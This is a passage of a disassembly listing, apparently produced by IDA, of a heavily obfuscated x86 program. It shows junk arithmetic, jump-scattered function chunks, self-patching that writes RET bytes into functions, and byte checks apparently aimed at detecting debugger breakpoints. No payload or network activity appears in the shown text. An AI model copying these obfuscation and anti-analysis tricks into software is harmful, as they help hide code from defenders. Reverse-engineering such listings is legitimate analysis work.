		cmp	eax, 20456B46h
		jmp	loc_43E969
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44313A

loc_448952:				; CODE XREF: sub_44313A+6651j
		add	eax, 0C2E5A23Ah
		sub	eax, 0F7E854C3h
		add	eax, 0C2A24A4h
		call	sub_43CA1A
		jmp	loc_442121
; END OF FUNCTION CHUNK	FOR sub_44313A
; ---------------------------------------------------------------------------

loc_44896E:				; CODE XREF: y22d6.y.:0044CD52j
		rol	ecx, 1
		xor	ecx, 0FE775FD9h
		xchg	ecx, [esp]
		push	28h
		mov	eax, [ebp-4]
		push	ecx
		mov	ecx, eax
		xchg	ecx, [esp]
		jmp	loc_43BAFB
; ---------------------------------------------------------------------------

loc_448989:				; DATA XREF: sub_43D8E0+Ao
		xchg	esi, [esp]
		jmp	loc_44BBFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_448991:				; CODE XREF: sub_4432B8-6588j
		lea	eax, sub_43F112
		mov	byte ptr [eax],	0C3h
		jmp	sub_43F112
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------

loc_44899F:				; CODE XREF: y22d6.y.:loc_445953j
		mov	eax, [esp]
		push	edx
		jmp	loc_44B170
; ---------------------------------------------------------------------------

loc_4489A8:				; CODE XREF: y22d6.y.:00442653j
		jno	loc_444918
		or	ebx, 4CDE3080h
		sub	eax, 0C4DBA526h
; START	OF FUNCTION CHUNK FOR sub_43B7B5

loc_4489BA:				; CODE XREF: sub_43B7B5+702Bj
		rol	edx, 18h
		jnb	loc_4425C6

loc_4489C3:				; CODE XREF: y22d6.y.:00444301j
		jmp	nullsub_125
; END OF FUNCTION CHUNK	FOR sub_43B7B5
; ---------------------------------------------------------------------------
		sub	edi, ebp
		jmp	loc_441505
; ---------------------------------------------------------------------------

locret_4489CF:				; CODE XREF: y22d6.y.:0044C577j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BEF7

loc_4489D0:				; CODE XREF: sub_43BEF7+FF78j
					; sub_43B7D4:loc_44DE73j
		jmp	nullsub_7
; END OF FUNCTION CHUNK	FOR sub_43BEF7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E5C7

loc_4489D5:				; CODE XREF: sub_44E5C7:loc_444BA4j
		mov	esi, [ecx]
		jmp	loc_43AFA2
; END OF FUNCTION CHUNK	FOR sub_44E5C7
; ---------------------------------------------------------------------------

loc_4489DC:				; CODE XREF: y22d6.y.:0044D68Aj
		push	edx
		push	offset sub_44AA01
		jmp	loc_44BFCA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E81B

loc_4489E7:				; CODE XREF: sub_43E81B-6E83j
		rol	esi, 7
		jmp	loc_43B07D
; END OF FUNCTION CHUNK	FOR sub_43E81B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440280

loc_4489EF:				; CODE XREF: sub_440280:loc_44B275j
		jnz	loc_44D302
		jmp	loc_44A316
; END OF FUNCTION CHUNK	FOR sub_440280

; =============== S U B	R O U T	I N E =======================================



sub_4489FA	proc near		; CODE XREF: y22d6.y.:004371A0j
					; sub_4385ED+7AD9p

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0043B3BA SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		adc	edx, [esp-4+arg_4]
		add	esp, 8
		mov	eax, [eax]
		add	eax, [ebp-4]
		push	offset sub_443BA0
		jmp	loc_43B3BA
sub_4489FA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B81B

loc_448A14:				; CODE XREF: sub_44B81B:loc_446F9Fj
		pop	esi
		xor	esi, 2A47ECD4h
		or	esi, 376D107Ah
		sub	esi, 0D1E11866h

loc_448A27:				; CODE XREF: sub_44057E+1021j
		add	esi, 92A5BC85h
		xchg	esi, [esp+4+var_4]
		jmp	sub_43BE66
; END OF FUNCTION CHUNK	FOR sub_44B81B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440943

loc_448A35:				; CODE XREF: sub_440943+9j
		pop	edx
		rol	edx, 12h
		xor	edx, 6B70B413h
		and	edx, 7B946744h
		add	edx, 0C4C1DC54h
		mov	[edx], eax
		pop	edx
		lea	eax, loc_44C4D2
		jmp	loc_43DF9B
; END OF FUNCTION CHUNK	FOR sub_440943

; =============== S U B	R O U T	I N E =======================================



sub_448A59	proc near		; CODE XREF: sub_43FAC6-F19p
					; y22d6.y.:0043F1DEj

; FUNCTION CHUNK AT 0044891C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044CDD7 SIZE 0000000B BYTES

		xchg	edx, [esp+0]
		pop	edx
		add	eax, ebp
		add	eax, 31CF6A89h
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jmp	loc_44CDD7
sub_448A59	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_448A6F	proc near		; CODE XREF: y22d6.y.:0043FB0Ej
					; sub_44B1D2-A15Ep
		xchg	ecx, [esp+0]
		pop	ecx
		push	87EDEA42h
		pop	edi
		sub	edi, 0ED78BFE7h
		add	edi, 8635698Fh
		call	sub_444131

loc_448A8A:				; CODE XREF: y22d6.y.:004370DCj
		jmp	nullsub_118
sub_448A6F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4481EF

loc_448A8F:				; CODE XREF: sub_4481EF-899Aj
		xor	edx, esi
		popf
		cdq

loc_448A93:				; CODE XREF: sub_4481EF:loc_445AECj
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_44B067
		jmp	loc_446492
; END OF FUNCTION CHUNK	FOR sub_4481EF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43923C

loc_448AA4:				; CODE XREF: sub_43923C:loc_43A402j
		mov	edx, edi
		pop	edi
		mov	eax, [esp-4+arg_0]
		push	ebx
		mov	ebx, edx
		xchg	ebx, [esp+0]
		push	ebx
		jmp	loc_44B06A
; END OF FUNCTION CHUNK	FOR sub_43923C
; ---------------------------------------------------------------------------

loc_448AB6:				; CODE XREF: y22d6.y.:0044956Fj
		xor	esi, 0E60D6687h
		jb	sub_44485F

loc_448AC2:				; CODE XREF: y22d6.y.:loc_449568j
		xor	eax, 672131CBh
		call	sub_43B921
; START	OF FUNCTION CHUNK FOR sub_44571D

loc_448ACD:				; CODE XREF: sub_44571D+14j
		jmp	loc_43FD89
; END OF FUNCTION CHUNK	FOR sub_44571D
; ---------------------------------------------------------------------------
		push	esi
		push	0B3293E0Fh
		pop	esi
		or	esi, 0E2C21CE4h
		rol	esi, 1
		or	esi, 94EB1E5Dh
		xor	esi, ds:4000E7h
		add	esi, 65D44EAEh
		jmp	loc_4494F9

; =============== S U B	R O U T	I N E =======================================



sub_448AF8	proc near		; CODE XREF: y22d6.y.:0043C2BFj
					; sub_44AA69-D755p

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0043D55F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004459F4 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0044DEFC SIZE 0000001B BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	eax
		push	0F9ADC49Ch
		pop	eax
		and	eax, 2C6C9DA7h
		jmp	loc_44DEFC
sub_448AF8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4383E0

loc_448B0E:				; CODE XREF: sub_4383E0+F0B5j
		call	sub_438B66

loc_448B13:				; CODE XREF: y22d6.y.:0044012Fj
		sbb	esi, ebp
; END OF FUNCTION CHUNK	FOR sub_4383E0

; =============== S U B	R O U T	I N E =======================================



sub_448B15	proc near		; CODE XREF: y22d6.y.:00439BDDp
		xchg	ebx, [esp+0]
		pop	ebx
		call	nullsub_11
		jmp	loc_445B08
sub_448B15	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D20E

loc_448B23:				; CODE XREF: sub_43D20E:loc_444933j
		add	eax, edx
		mov	eax, [eax]
		add	eax, [ebp-4]

loc_448B2A:				; CODE XREF: y22d6.y.:00448C01j
		mov	[ebp-0Ch], eax
		mov	eax, [ebp-0Ch]
		cmp	eax, [ebp-14h]
		jb	loc_43AB8B
		mov	eax, [ebp-10h]
		jmp	loc_44228C
; END OF FUNCTION CHUNK	FOR sub_43D20E
; ---------------------------------------------------------------------------

loc_448B41:				; CODE XREF: y22d6.y.:0043A143j
		pop	edx
		mov	eax, [esp]
		push	edx
		call	sub_44CDB7
		mov	eax, esi
		jmp	loc_43F85A
; ---------------------------------------------------------------------------

loc_448B52:				; CODE XREF: y22d6.y.:004393B3j
		mov	edi, [eax]
		jmp	loc_43E4AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_448B59:				; CODE XREF: sub_448EB6+1923j
		adc	eax, esi
		cmp	ecx, 80B638DFh
		jmp	loc_4427A0
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44921D

loc_448B66:				; CODE XREF: sub_44921D:loc_43DEB9j
		test	eax, 1000000h
		jmp	loc_4465A0
; END OF FUNCTION CHUNK	FOR sub_44921D

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_448B71	proc near		; DATA XREF: sub_443954+6o

var_8		= dword	ptr -8
var_1		= byte ptr -1

; FUNCTION CHUNK AT 00439893 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044D7F5 SIZE 0000000A BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		mov	[ebp+var_1], al
		cmp	[ebp+var_1], 0
		jz	loc_44D7F5
		mov	[ebp+var_8], 1
		jmp	loc_4492A7
sub_448B71	endp


; =============== S U B	R O U T	I N E =======================================



sub_448B90	proc near		; CODE XREF: sub_443954j

; FUNCTION CHUNK AT 00440029 SIZE 0000000C BYTES

		push	ebp
		jmp	loc_440029
sub_448B90	endp

; ---------------------------------------------------------------------------
		push	eax
		pop	edi
		shl	edx, 1Ah
		jmp	loc_443E7A

; =============== S U B	R O U T	I N E =======================================



sub_448BA0	proc near		; CODE XREF: y22d6.y.:0043C454j
					; sub_441A2B+BD2Dp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00438F1D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00441FAF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044BCFD SIZE 00000016 BYTES

		xchg	eax, [esp+0]

loc_448BA3:				; CODE XREF: sub_441F08+53EFj
		pop	eax
		xchg	ecx, [esp-4+arg_0]
		call	sub_43EF0B
		push	4E53852h
		pop	eax
		jmp	loc_44BCFD
sub_448BA0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44123E

loc_448BB7:				; CODE XREF: sub_44123E+40E6j
		mov	eax, 0BB481A21h

loc_448BBC:				; CODE XREF: sub_44123E:loc_4429B9j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_4488C3
		jmp	loc_4403FF
; END OF FUNCTION CHUNK	FOR sub_44123E
; ---------------------------------------------------------------------------

loc_448BCD:				; DATA XREF: sub_43F9E0+131Co
		call	sub_4397E6
		mov	eax, 22143682h
		push	ebx
		push	0A1271C00h
		pop	ebx
		rol	ebx, 1Dh
		jnb	loc_44C13B

loc_448BE7:				; CODE XREF: y22d6.y.:004419BCj
		jmp	loc_441480
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E14E

loc_448BEC:				; CODE XREF: sub_44E14E-10941j
		jmp	loc_43B18D
; END OF FUNCTION CHUNK	FOR sub_44E14E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_30. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A58D

loc_448BF2:				; CODE XREF: sub_43A58D+Dj
		jmp	loc_44B5EA
; END OF FUNCTION CHUNK	FOR sub_43A58D
; ---------------------------------------------------------------------------

loc_448BF7:				; CODE XREF: y22d6.y.:00438D49j
		jmp	loc_44C1ED
; ---------------------------------------------------------------------------
		jmp	sub_43CA1A
; ---------------------------------------------------------------------------
		jl	loc_448B2A
		jmp	sub_447D7F
; ---------------------------------------------------------------------------

loc_448C0C:				; CODE XREF: y22d6.y.:0043E091j
		ror	ebp, 19h

loc_448C0F:				; CODE XREF: y22d6.y.:loc_44021Dj
		mov	eax, [esp]
		push	eax
		push	edx
		mov	edx, esi
		xchg	edx, [esp]
		push	0B5084CB4h
		pop	esi
		jmp	loc_44D417
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_448C24:				; CODE XREF: sub_448EB6:loc_4389DEj
		jz	loc_447230
		jmp	loc_43A60B
; END OF FUNCTION CHUNK	FOR sub_448EB6
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_232. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_448C30:				; CODE XREF: y22d6.y.:00444D40j
		jno	loc_44A65D

; =============== S U B	R O U T	I N E =======================================



sub_448C36	proc near		; CODE XREF: sub_43946E:loc_44AC79p

arg_0		= dword	ptr  4

		xchg	ebx, [esp+0]
		pop	ebx
		mov	eax, [esp-4+arg_0]
		push	edx
		nop
		mov	eax, 23829242h
		call	sub_43CA1A
		jmp	loc_4432DA
sub_448C36	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B635

loc_448C4E:				; CODE XREF: sub_44B635-10456j
		cmp	esi, 0AB2F965Ch
		jmp	loc_43DFFF
; END OF FUNCTION CHUNK	FOR sub_44B635
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_448C59:				; CODE XREF: sub_4432B8-3872j
		jle	loc_43BDED
		xor	edi, 0E64D8FF6h
		pop	edi

loc_448C66:				; CODE XREF: sub_4432B8:loc_4434FAj
		add	esi, 7F2CAD2Ch
		jmp	loc_44E34D
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------

loc_448C71:				; CODE XREF: y22d6.y.:004430FBj
		and	eax, 435B787Fh

; =============== S U B	R O U T	I N E =======================================



sub_448C77	proc near		; CODE XREF: sub_448BA0+3169p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043733E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004382BC SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00438A2D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00439BAC SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0043BDCB SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043D782 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043DFCC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00440DE4 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00441E0A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00442049 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00442C19 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00442C82 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444494 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 004459D2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00445E82 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004473E0 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004474EB SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004475CC SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00447FF6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A2E6 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044A99E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044AA0E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044B4EE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D9A7 SIZE 0000000B BYTES

		xchg	ebx, [esp+8+var_8]
		pop	ebx
		add	eax, 63553010h
		call	sub_44304E

loc_448C86:				; CODE XREF: y22d6.y.:00449A2Dj
		jmp	loc_441E0A
sub_448C77	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DA5D

loc_448C8B:				; CODE XREF: sub_43DA5D-172Fj
		push	edx
		push	0
		push	eax
		lea	eax, loc_43E4C7
		push	eax
		push	0
		jmp	loc_44E2D1
; END OF FUNCTION CHUNK	FOR sub_43DA5D
; ---------------------------------------------------------------------------

loc_448C9D:				; CODE XREF: y22d6.y.:00441C78j
		jp	loc_4436EC
		jl	loc_43A999
		or	esi, edi
		sub	ecx, edi
		jmp	loc_437B58
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BCC2

loc_448CB2:				; CODE XREF: sub_44BCC2:loc_44A260j
		add	eax, 0D528D503h
		add	eax, ebp
		add	eax, 99D16192h
		jmp	loc_43991A
; ---------------------------------------------------------------------------

loc_448CC5:				; CODE XREF: sub_44BCC2:loc_44A3B2j
		push	0E994BC25h
		pop	eax
		xor	eax, 0B43E854Ah
		test	eax, 10h
		jmp	loc_448844
; END OF FUNCTION CHUNK	FOR sub_44BCC2

; =============== S U B	R O U T	I N E =======================================



sub_448CDC	proc near		; CODE XREF: sub_404844+30p
					; y22d6.y.:0043B14Cj
					; DATA XREF: ...
		push	offset sub_4428C2
		jmp	nullsub_122
sub_448CDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_448CE6	proc near		; CODE XREF: sub_43C1F5+Fj
		retn
sub_448CE6	endp

; ---------------------------------------------------------------------------

loc_448CE7:				; CODE XREF: y22d6.y.:00443D4Aj
		jmp	loc_43D21D
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_44. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440395

loc_448CEF:				; CODE XREF: sub_440395+C940j
		jmp	loc_445740
; END OF FUNCTION CHUNK	FOR sub_440395
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AD2F

loc_448CF4:				; CODE XREF: sub_43AD2F+9j
		jmp	loc_43B725
; END OF FUNCTION CHUNK	FOR sub_43AD2F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4475B3

loc_448CF9:				; CODE XREF: sub_4475B3-EEDBj
		jmp	loc_442F7E
; END OF FUNCTION CHUNK	FOR sub_4475B3

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_448CFE	proc near		; CODE XREF: y22d6.y.:00438CD4p
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		pop	ebp
		jmp	loc_44358A
sub_448CFE	endp


; =============== S U B	R O U T	I N E =======================================



sub_448D0A	proc near		; CODE XREF: sub_43C242+9p
					; y22d6.y.:004492D5j

arg_0		= dword	ptr  4

		xchg	ebx, [esp+0]
		pop	ebx
		xchg	esi, [esp-4+arg_0]
		push	offset loc_446276
		jmp	nullsub_123
sub_448D0A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_448D1B:				; CODE XREF: sub_448EB6:loc_446DE2j
		jnz	loc_439BED
		jmp	loc_441864
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
		mov	ebx, 0B8DC2BBFh
		jmp	sub_44AEA5
; ---------------------------------------------------------------------------

locret_448D30:				; CODE XREF: y22d6.y.:0044BB3Cj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44057E

loc_448D31:				; CODE XREF: sub_44057E+B99Ej
		jmp	loc_43C4A2
; END OF FUNCTION CHUNK	FOR sub_44057E
; ---------------------------------------------------------------------------
		or	esi, ebx
		jmp	sub_4380AC

; =============== S U B	R O U T	I N E =======================================



sub_448D3D	proc near		; CODE XREF: sub_44B27F:loc_43E1AFp
					; y22d6.y.:004484E5j

arg_0		= dword	ptr  4

		xchg	esi, [esp+0]
		pop	esi
		add	ecx, 445B037Eh
		xchg	ecx, [esp-4+arg_0]
		jmp	sub_44E5C7
sub_448D3D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_448D4F:				; CODE XREF: y22d6.y.:0044268Cj
		lea	eax, sub_447268
		mov	byte ptr [eax],	0C3h
		jmp	sub_447268
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447268

loc_448D5D:				; CODE XREF: sub_447268+1j
		mov	eax, [esp+4+var_4]
		call	sub_4491D8

loc_448D65:				; CODE XREF: y22d6.y.:0043D51Fj
		jmp	loc_447E27
; END OF FUNCTION CHUNK	FOR sub_447268
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4416F3

loc_448D6A:				; CODE XREF: sub_4416F3+5E43j
		sub	edi, 0C7F7046Ah
		jns	loc_44841D

loc_448D76:				; CODE XREF: sub_4416F3:loc_440F47j
		lea	eax, [ebp-12Dh]
		push	eax
		call	sub_44C171
		jmp	loc_44941A
; END OF FUNCTION CHUNK	FOR sub_4416F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_448D87:				; CODE XREF: sub_448EB6:loc_437BD4j
		jnz	loc_44BC03

loc_448D8D:				; CODE XREF: y22d6.y.:0044D647j
		jmp	sub_43CA1A
; ---------------------------------------------------------------------------

loc_448D92:				; CODE XREF: sub_448EB6-7BBDj
		jmp	loc_4472E6
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
		sub	ecx, ebx
		xchg	edx, ebp
		jmp	loc_44BC03
; ---------------------------------------------------------------------------

loc_448DA0:				; CODE XREF: y22d6.y.:00447989j
		cmp	eax, 0B479A8DCh
		jmp	loc_44359D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E52B

loc_448DAB:				; CODE XREF: sub_44E52B+16j
		xor	eax, esi
		xchg	edi, [esp+4+var_4]
		mov	esi, edi
		pop	edi
		jmp	loc_44C533
; END OF FUNCTION CHUNK	FOR sub_44E52B
; ---------------------------------------------------------------------------

loc_448DB8:				; CODE XREF: y22d6.y.:loc_43A877j
		js	loc_439E18
		sub	al, 99h
		push	3FC39011h
		pop	edx
		jmp	loc_43F294
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_100. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_448DCC:				; CODE XREF: y22d6.y.:0043C492j
		jmp	locret_438EF0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BCA9

loc_448DD1:				; CODE XREF: sub_43BCA9+D955j
		mov	eax, [esp+0]
		call	sub_43C7C1

loc_448DD9:				; CODE XREF: sub_444A91+739Ej
		jmp	loc_43C29F
; END OF FUNCTION CHUNK	FOR sub_43BCA9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EC1C

loc_448DDE:				; CODE XREF: sub_43EC1C+8C62j
		xor	eax, 0FA5E4953h
		popf
		xchg	esi, [edx]
		popf

loc_448DE8:				; CODE XREF: sub_43EC1C:loc_43CA47j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jmp	loc_440432
; END OF FUNCTION CHUNK	FOR sub_43EC1C
; ---------------------------------------------------------------------------

loc_448DF3:				; CODE XREF: y22d6.y.:loc_44797Cj
		jl	loc_44CA3B
		mov	[ebp+0], eax
		rol	ecx, 5
		or	edi, ecx
		adc	eax, esi
		adc	ecx, ebp
		jmp	loc_44CA3B
; ---------------------------------------------------------------------------
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439A78

loc_448E0E:				; CODE XREF: sub_439A78+7740j
		jmp	loc_43EB33
; END OF FUNCTION CHUNK	FOR sub_439A78
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E185

loc_448E13:				; CODE XREF: sub_43E185-6647j
		jmp	loc_439252
; END OF FUNCTION CHUNK	FOR sub_43E185

; =============== S U B	R O U T	I N E =======================================



sub_448E18	proc near		; CODE XREF: y22d6.y.:0043A583p
					; y22d6.y.:loc_43DA1Dp	...

; FUNCTION CHUNK AT 004399E5 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0044C9E6 SIZE 00000005 BYTES

		js	sub_4394F3
		push	ebp
		mov	ebp, esp
		call	nullsub_4
		jmp	loc_4399E5
sub_448E18	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44997F

loc_448E2B:				; CODE XREF: sub_44997F+19j
		jl	loc_44D1BF
		push	eax
		jmp	loc_44D1BD
; END OF FUNCTION CHUNK	FOR sub_44997F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_235. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_448E38:				; CODE XREF: y22d6.y.:0044B7B6j
		js	loc_446146

; =============== S U B	R O U T	I N E =======================================



sub_448E3E	proc near		; CODE XREF: sub_43B7B5+24F6p

; FUNCTION CHUNK AT 0043FB27 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0044D3A2 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		rol	eax, 2
		push	edi
		push	0A2A4BC9Eh
		pop	edi
		rol	edi, 1Ch
		jmp	loc_44D3A2
sub_448E3E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_448E54:				; CODE XREF: y22d6.y.:loc_44C6DBj
		or	ecx, 15C16F79h
		jmp	loc_44CAA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F501

loc_448E5F:				; CODE XREF: sub_43F501:loc_44A994j
		jz	loc_44419F
		jmp	loc_44D5CA
; END OF FUNCTION CHUNK	FOR sub_43F501
; ---------------------------------------------------------------------------
		not	edi
		jmp	sub_44B629
; ---------------------------------------------------------------------------
		popf
		jmp	loc_44CFFF
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_240. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B7B5

loc_448E78:				; CODE XREF: sub_43B7B5+Cj
					; sub_44374A+6j ...
		ror	eax, 1
		jnz	loc_4427D3
		call	sub_438880

loc_448E85:				; CODE XREF: sub_447D7F+Cj
		jmp	loc_440ADE
; END OF FUNCTION CHUNK	FOR sub_43B7B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B252

loc_448E8A:				; CODE XREF: sub_43B252+Ej
		jmp	loc_4391FD
; END OF FUNCTION CHUNK	FOR sub_43B252
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440494

loc_448E8F:				; CODE XREF: sub_440494+14j
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_4397D9
		jmp	loc_437DB2
; END OF FUNCTION CHUNK	FOR sub_440494
; ---------------------------------------------------------------------------

loc_448E9E:				; CODE XREF: y22d6.y.:0044A52Fj
		or	ebx, 0D825F48Dh

loc_448EA4:				; CODE XREF: y22d6.y.:loc_43753Ej
		mov	eax, [esp]
		call	sub_4396B2

loc_448EAC:				; CODE XREF: y22d6.y.:00438125j
					; y22d6.y.:0044B02Cj
		push	offset sub_443AC9
		jmp	locret_44E324

; =============== S U B	R O U T	I N E =======================================



sub_448EB6	proc near		; CODE XREF: sub_4432B8+2BB2j
					; sub_44BAC8+6p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h
arg_18		= dword	ptr  1Ch
arg_1C		= dword	ptr  20h
arg_20		= dword	ptr  24h

; FUNCTION CHUNK AT 0043711C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043759A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004379C1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00437BD4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00437C33 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00438107 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004383C6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043844A SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00438621 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 004387C8 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0043894E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004389D8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00438A23 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00438BBF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00438C43 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00438D00 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00438D54 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00438E20 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00439237 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004394D2 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00439684 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043981A SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004398F5 SIZE 0000000A BYTES
